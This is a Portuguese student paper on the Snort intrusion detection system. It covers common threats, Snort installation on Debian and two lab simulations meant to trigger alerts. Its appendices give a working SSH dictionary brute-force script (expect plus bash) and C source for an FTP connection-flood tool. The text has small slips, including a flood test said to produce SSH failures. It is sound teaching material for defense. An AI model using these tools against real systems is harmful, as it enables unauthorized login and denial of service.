Você está na página 1de 11

Análise do Sistema de Detecção de Intrusão Snort

Marcelo Silveira Vilar

Curso de Redes e Segurança de Sistemas


Pontifícia Universidade Católica do Paraná

Curitiba, 17 novembro de 2010

Resumo

Este trabalho faz um breve resumo de ameaças que podem causar problemas a uma
rede de computadores, e apresenta o programa Snort, que é um programa de detecção de
intrusos que auxilia os administradores de redes na busca por problemas na rede ou na
detecção de ataques que seus servidores podem estar sofrendo. Para uma melhor
compreensão do Snort, tem um tutorial passo-a-passo da instação e duas simulações de
ataques.

1 Ameaças Digitais

A internet e os computadores estão pode toda parte, dentro das empresas, nas escolas,
nas casas, sendo parte do dia-a-dia da maioria das pessoas, que utilizam para diversão,
estudos, compras, trabalho, comunicação e outros fins. E dentro da maioria das empresas de
médio e grande porte existem hoje, servidores onde estão instalados sistemas que contém
informações sigilosas e necessárias para seu funcionamento, sendo que a falta ou perda de
acesso a esses sistemas ou dados pode parar com seu funcionamento e assim gerar perdas
financeiras..
Com a utilização destes sistemas informatizados dentro das empresas surge a
necessidade de criar mecanismos de segurança, visando manter a integridade e
disponibilidade.. Um servidor que esteja ligado a internet está sujeito a ameaças que podem
vir de qualquer parte do mundo, podendo citar como algumas ameaças vírus, worms, fraudes,
roubos de informação, espionagem ou o simples uso inadequado da rede.
Segundo estudo realizado pela IBM (1), revelou-se que o volume de ataques pela
Internet aumentou em 36% no primeiro semestre de 2010, em relação ao mesmo período do
ano anterior. Este foi o ano no qual a pesquisa registrou o maior índice de vulnerabilidades na
Web. De todas as brechas descobertas, 55% estavam relacionadas a aplicativos Web. Além
disso, mais da metade de todas as vulnerabilidades de segurança descobertas ainda não tinha
recebido correções até a conclusão do estudo.
Este problema faz com que a segurança da informação seja uma área da empresa de
grande importância, pois tem como desafio detectar e impedir as ameaças antes que elas
causem algum dano a rede, computadores ou servidores.
1.1 Engenharia Social

De acordo com Kevin Mitinick (2), a engenharia social usa a influência e a persuasão
para enganar as pessoas e convencê-las de que o engenheiro social é alguém que na verdade
ele não é. Como resultado, o engenheiro social pode aproveitar-se das pessoas para obter as
informações com ou sem o uso da tecnologia.
Por mais que a empresa tenha as melhores tecnologias de segurança, que seus
servidores estejam guardados em salas bem trancadas, pois os indivíduos são o elo mais fraco,
e são estes que podem trazer a insegurança para dentro da rede.

1.2 Phishing

Phishing ou Phishing Scams, são ataques de engenharia social que visam obter
informações sigilosas de suas vítimas, acessar sites falsos para obter acesso a credênciais de
acesso de bancos ou sites que possam conter alguma informação relevante, e uma das formas
de deste ataque que vem crescendo é feito por e-mail e mensageiros instantâneos (msn,
google talk, yahoo e outros) onde computadores infectados ou servidores de spam enviam
mensagens que visam persuadir a vítima a executar arquivos que vão em anexo ou em links
que são camuflados. Este tipo de ameaça merece destaque, pois é um meio muito utilizado
para o envio de virús, trojans e outros, para dentro das redes, pois o seu alvo é o elo mais
fraco da rede, o usuário.
Para instigar a vitima a executar arquivos anexos de e-mail ou abrir links do e-mail o
atacante envia e-mail criativos que tenta fazer com que o alvo caia na trapaça, abaixo segue
um exemplo de um e-mail enviado a partir de um computador já infectado, o remetente no
caso é uma pessoa conhecida do destinatário, o assunto desperta a curiosidade do usuario para
ver fotos de uma mulher supostamente violentada.

Figura 1: Exemplo de um e-mail de phishing


O email ainda tenta enganar o usuário fazendo com que links colocados no e-mail se
passem por arquivos que estão anexos, o que nesse caso não deu certo, pois o webmail do
Gmail identificou os links como uma possível fraude, e desabilitou eles.
Neste outro exemplo, um e-mail recebido no webmail do hotmail, o e-mail simula ser
uma atualização de segurança do Banco do Brasil, e tenta precionar o usuário a instalar a tal
atualização alegando que existe a necessidade dela para que o site possa ser acessado a partir
de uma data.

Figura 2: Exemplo de um Phishing que se passa por um e-mail falso de banco


Para tentar deixar o e-mail mais confiável o link do site que pode ser visto no final da
imagem exibe palavras como “banco”, “clientebb”, tentando passar o link como verdadeiro.

1.3 Botnet

Botnets são programas instalados em inúmeros computadores, podendo ser minhares


ou milhões, formando assim uma grande rede, estes computadores podem ter sido infectados
atraves de ataques de pishing, conforme foi falado anteriormente ou então por ataques a
brechas de segurança de sistemas operacionais, esses programas executam ações especificas
de acordo com o interesse do gestor.

1.4 Ataque de Força Bruta

Ataques de Força Bruta, do inglês “Brute Force”, são ataques utilizados para quebrar
senhas ou códigos de acesso onde são feitos inúmeras tentativas de descobrir a senha,
normalmente utiliza-se de programas que montam combinações de senhas até que uma seja
aceita.

1.5 Distributed Denial of Service

São ataques de negação de serviço, executado por inúmeros computadores, visando


sobrecarregar um programa enviando inúmeras requisições para ele, podendo ser requisições
inválidas para forçar um erro e derrubar o programa. Os alvos mais frequentes são os
servidores web, normalmente de grandes empresas. As maquinas de onde se originam os
ataques podem fazer parte de uma botnet que no caso coordena os ataques.

2 Sistemas de Detecção de Intrusão

Tendo em vista as ameaças citadas no capítulo anterior, é necessário buscar meios


para prevenir potenciais problemas. Conclui-se que a porta de entrada para problemas em uma
rede de computadores na maior parte das vezes é atravéz dos usuários de computador, que por
falta de conhecimento ou intencionalmente podem executar programas maliciosos. Na parte
dos usuários, somente o treinamento ou a utilização de uma politica de segurança pode
reduzir o risco de problemas na rede, mas mesmo assim os computadores da rede interna
ainda vão estar sujeitos a serem alvos de problemas, então deve-se buscar meios para que
detectem essas irregularidades.
Os Sistemas de Detecção de Intrusão, IDS (em inglês, intrusion detection system) são
sistemas que visam identificar irregularidades em redes, ou computadores, buscando
encontrar irregularidade em arquivos ou na comunicação de dados, que podem estar vindo da
rede externa ou mesmo da rede interna, podendo ser provenientes de computadores que
executam ações não autorizadas de invasores, funcionários mal intencionados ou então de
usuários que por desconhecimento, acessam sites ou executam anexos não confiáveis que
abrem brechas para aplicativos maliciosos.

3 Snort

O Snort é um programa de computador de detecção de intrusão que realiza uma


análise em tempo real do trafego de dados TCP/IP em uma rede, buscando dentro do conteúdo
dos pacotes de dados padrões de dados que identifiquem ataques, como brutal force, buffer
overflows, port scans, ataques CGI, ataques de brechas do protocolo SMB(redes MS
Windows), OS fingerprinting, entre outras.
O Snort pode ser executado no modo sniffer, onde os pacotes que são capturados são
exibidos em tela ou então são escritos em um arquivo, como também pode ser executado no
modo de detecção de intrusos na rede (Network Intrusion Detection System, NIDS mode), um
modo de execução que permite uma configuração mais detalhada, que permite que o snort
analise o tráfego que circula na rede através das regras que estiverem ativas.
Junto com os padrões de ataques contidos nas regras, estão informações sobre o o
ataque e o nível do risco do ataque, além de links para sites que tenham detalhes sobre o
problema e até mesmo uma solução, estas informações são colocadas dentro do log de alertas.
na imagem abaixo pode ser visto um trecho do log onde é exibido dois alertas de ataques que
uma maquina windows está recebendo, e tem 3 links sendo 2 com detalhes sobre o problema e
outro que contém a correção.
Figura 3: Log de ataques que explorar falhas do windows.

3.1 Instalação do Snort

A instalação do Snort será feita na distribuição Debian Linux, na versão 5.0 (Lenny).
Antes de iniciar a instalação do Snort, instale primeiro os programas que são
necessários para sua instalação, através dos comandos abaixo (esses comandos devem ser
executados com o usuário root):
aptitude update
aptitude install libpcap-dev libpcre++-dev

Crie uma pasta onde você irá colocar os arquivos para a instalação depois faça o
download do arquivo de instalação do snort:
mkdir /opt/snort
cd /opt/snort
wget -O snort.tar.gz --no-check-certificate http://www.snort.org/downloads/116

Descompacte o arquivo snort.tar.gz, entre na pasta e depois execute os comandos para


compilar e instalar:
tar -zxf snort.tar.gz
cd snort-2.8.6.1
# Compila e instala
./configure
make
make install

Após a instalação crie as pastas “/etc/snort” (arquivos de configuração) e


“/var/log/snort” (pasta onde vão ficar os logs), e faça a copia dos arquivos de exemplo para
elas.
mkdir /etc/snort
mkdir /var/log/snort
cp etc/*.conf /etc/snort/
cp etc/*.config /etc/snort/
cp etc/unicode.map /etc/snort/

Agora tem que ser feito o download das regras do snort, mas para isso deve ser feito
primeir um cadastro no site (https://www.snort.org/signup), depois de se cadastrar, copie o
arquivo para a pasta “/opt/snort/”, depois descompacte o arquivo e faça a cópia dos arquivos:
cd /opt/snort
tar -zxf snortrules-snapshot-2860.tar.gz
cp -r rules /etc/snort/
cp -r so_rules /etc/snort/

Edite o arquivo “/etc/snort/snort.conf”, e modifique a linha onde está:


"var RULE_PATH ../rules"
"var SO_RULE_PATH ../so_rules"
Para:
"var RULE_PATH rules"
"var SO_RULE_PATH so_rules"

Pronto, agora para rodar o Snort execute a linha de comando abaixo:


snort -c /etc/snort/snort.conf -K ascii -i eth0 -D

Agora o snort está rodando em background, e está fazendo uma varredura nas
comunicações de dados e enviando estas informações para o arquivo “/var/log/snort/alert”, se
quiser visualizar essas informações em tempo real, utilize o comando abaixo:
tail -f /var/log/snort/alert

4 Testes de Uso

Neste capitulo serão feitas simulações de ataque para testar o snort, essas simulações
são exemplos simples para visualizar o funcionamento do snort, sendo que os ataques usados
por crackers são mais sofisticados.

4.1 Teste de ataque de Força Bruta

Para a executar estes teste é necessário dois computadores ou duas maquinas virtuais,
na simulação a maquina que está com o snort instalado será o servidor e a outra será o cliente,
para realizar o primeiro teste, crie na maquina cliente os scripts “ssh_login.exp” e
“ssh_loop.bash” que estão no capítulo 5, anexo 1. No computador computador que representa
o servidor, instale o snort, conforme foi passado no capítulo 3.1 . Instale também o programa
servidor de acesso remoto ssh, através do comando (com o usuario root):
aptitude install openssh-server
Após fazer a instalação do SSH, inicie o snort no modo de analise de trafego e deixe o
comando tail executando para que seja exibido o log na tela, para isso, execute os comandos
abaixo:
snort -c /etc/snort/snort.conf -K ascii -i eth0 -D
tail -f /var/log/snort/alert

No computador que representa o o cliente, de onde vai ser iniciado o programa que vai
fazer as tentativas de descobrir a senha, crie um arquivo com o nome “dicionario_senhas.txt”
dentro da pasta onde foram criados os scripts “ssh_login.exp” e script “ssh_loop.bash”, nesse
arquivo escreva varias palavras, que serão utilizadas na tentativa de descobrir a senha, e
depois salve, feito isso entre na pasta onde está o script “ssh_loop.bash”, dê a permissão de
execução para os scripts e execute, com os comandos:
chmod +x ssh_loop.bash ssh_login.exp
./ssh_loop.bash

Após iniciar a execução observe que no computador que representa o servidor vão
aparecer mensagens indicando falha de autenticação no servidor ssh.

4.1 Teste de Connection Flood

Nesse teste vai ser simulado um ataque de connection flood, onde um computador
cliente irá abrir inúmeras conexões com um servidor ftp, tentando gerar uma negação de
serviço. Para esse teste, compile o programa “ftp_flood” que está no capítulo 5, anexo2,
dentro do computador que representa o cliente de onde vão partir os ataques.
No computador que representa o servidor instale o programa proftpd que vai ser o
programa alvo do ataque de connection flood, para isso execute o comando abaixo:
aptitude install proftpd
Agora inicie o snort no modo de analise de trafego e deixe o comando tail executando
para que seja exibido o log na tela, para isso, execute os comandos abaixo:
snort -c /etc/snort/snort.conf -K ascii -i eth0 -D
tail -f /var/log/snort/alert

No computador cliente, execute o comando abaixo para iniciar o ataque ao servidor


FTP:
./ftp_flood IP_DESTINO 21

Após iniciar a execução observe que no computador que representa o servidor vão
aparecer mensagens indicando falha de autenticação no servidor ssh.

5 Anexos

5.1 Anexo 1 - Scripts para teste de força bruta de SSH

Para utilizar esse script precisa ter instalado no linux o programa “expect”, se o linux
utilizado for o Debian, use o comando:
aptitude install expect

Após a instalação crie um arquivo com o nome “ssh_login.exp”, coloque dentro dele o
conteúdo que segue abaixo retirando as linhas tracejadas de INICIO e FIM.

----------- INICIO ----------


#!/usr/bin/expect -f
# exemplo: ./ssh_login.expt usuario senha ip
# Baseado no script do Eduardo Ramos [3]
# Disponivel em:
# http://edsr.blogspot.com/2009/03/ssh-passando-senha-como-parametro.html

# Definindo Variaveis
set user [lrange $argv 0 0 ]
set password [lrange $argv 1 1 ]
set ipaddr [lrange $argv 2 2 ]
set timeout -1
set ssh_cmd "$user@$ipaddr"

# Executando o comando de login


spawn ssh $ssh_cmd
match_max 10000

expect {
"(yes/no)?" {
send "yes\r"
exp_continue
} "*assword:*" {
send "$password\r"
exp_continue
} "*@*" {
send "echo Sucesso\r exit"
send_user "Sucesso\r\r"
exit 0
} "*denied*" {
send_user "Conexao nao permitida\n"
exit 1
} eof {
send_user "*** Conexao com o host perdida ***\n$expect_out(buffer)"
exit 1
}
}
send_user "\nFalha na Conexao.\n"
exit 1
------------ FIM ------------
Feito isso, deve-se dar a permissão de escrita para esse arquivo com o comando
abaixo:
chmod +x ssh_login.exp

Agora crie o um arquivo com o nome “ssh_loop.bash”, coloque dentro dele o


conteúdo que segue abaixo retirando as linhas tracejadas de INICIO e FIM.

----------- INICIO ----------


#!/bin/bash

if [ "$#" -lt "2" ]; then


echo "Voce precisa passar os parametros de login e endereco"
exit 1
fi
DICIONARIO="./dicionario_senhas.txt"
IP="$2"
LOGIN="$1"

while read SENHA ; do


./ssh_login.exp $LOGIN $SENHA $IP > /dev/null
if [ "$?" -eq "0" ]; then
echo Sucesso
echo -e "Foi possivel se conectar no host $IP:\nLogin: $LOGIN\nSenha:
$SENHA"
exit 0
fi
done < $DICIONARIO
echo "Nao foi possivel se conectar no host $IP"
exit 1
------------ FIM ------------

5.2 Anexo 2 - Código fonte do programa ftp flood

Crie um arquivo com o nome de “ftp_flood.c” e dentro dele coloque o conteúdo


abaixo, desde a etiqueta INICIO até a etiqueta FIM:

----------- INICIO ----------


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>

main(int argc, char * argv[])


{
int incremento;
int meu_socket;
int conexao;
int PORTA;
char *msg;
msg = "hello";
char *HOST;
struct sockaddr_in destino[2000];
if(argc > 2)
{
HOST = argv[1];
PORTA = atoi (argv[2]);
}

if (argc<=2)
{
printf("Erro, voce nao digitou todos argumentos\n\n");
printf("Modo de uso: ftp_flood IP PORTA");
exit(0);
}
printf("Abrindo 500 conexoes com o host: %s \n",HOST);
printf("Executando... \n");

for(incremento=0; incremento<=500; incremento++)


{
destino[incremento].sin_addr.s_addr = inet_addr(HOST);
destino[incremento].sin_family = AF_INET;
destino[incremento].sin_port = htons(PORTA);
meu_socket = socket(AF_INET, SOCK_STREAM, 0);
conexao = connect(meu_socket, (struct sockaddr *)
&destino[incremento], sizeof destino[incremento]);
if (conexao==0)
{
write(meu_socket,msg);
printf("Conexao numero %d aberta.\n",incremento);
} else {
printf("Nao conectou %d \n",incremento);
}
}
printf("\nProcesso Concluido\n");
close(meu_socket);
}
------------ FIM ------------

Depois disso, compile o arquivo com o comando abaixo:


gcc -o ftp_flood ftp_flood.c

Bibliografia

[1] Ameaças à Web batem recorde no 1º semestre de 2010 - http://www-


03.ibm.com/press/br/pt/pressrelease/32428.wss

[2] A Arte de Enganar - Kevin Mitinick , ISBN-10: 8534615160 , 10/06/2003

[3] Eduardo Ramos - http://edsr.blogspot.com/2009/03/ssh-passando-senha-como-


parametro.html

Você também pode gostar